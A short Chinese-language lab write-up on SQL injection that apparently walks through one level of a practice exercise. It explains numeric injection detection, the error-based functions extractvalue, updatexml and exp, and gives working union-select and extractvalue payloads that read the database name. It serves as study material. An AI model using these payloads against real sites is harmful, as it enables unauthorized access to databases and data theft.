知识点整理:
- 数值型注入判断手法
- 1/1 1/0 回显不同
- 错误注入函数
- extractvalue(xml_flag,xpath)
- xml_flag:文件表示符
- xpath:文件路径;不能识别‘~’ ‘#’ 等特殊字符;遇到就报错并打印xpath内容
- ~(十六进制表示):0x7e
- #(十六进制表示):0x23
- $:0x24
- %:0x25
- &:0x26
- +:0x2b
- 十六进制ascii表:ASCII码16进制对照表_阿斯克码16进制-CSDN博客
- 里面的特殊字符大多都可以用
- updatexml(flag,xpath,new_flag)
- 用法同extractvalue()函数
- 主要是xpath错误输出;其他位补全就行了
- exp(709) 边界值
- e的709次方
- exp(710) 会报错;超出边界(8个字节)
- extractvalue(xml_flag,xpath)
通过测试发现时数字型注入
输入id=1/1发现正常回显
输入id=1/0 发现不打印输出了;说明这里存在数字型注入
测试是否可以使用联合注入;
构造payload:id=0 union select 1,2,3 --+
发现将输入的内容打印到页面上了;这里可以进行联合注入
下面来获取数据库名
构造payload:id=0 union select 1,2,database() --+
成功获取了数据库名;之后还可以获取表名、字段名、具体内容等信息(这里不做演示了)
在第一关已经展示了具体的操作
这一关还可以进行错误注入
构造payload:id=0%20or%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
成功打印出了数据库名;同样的也能通过错误注入的方式获取具体的表名和字段信息
10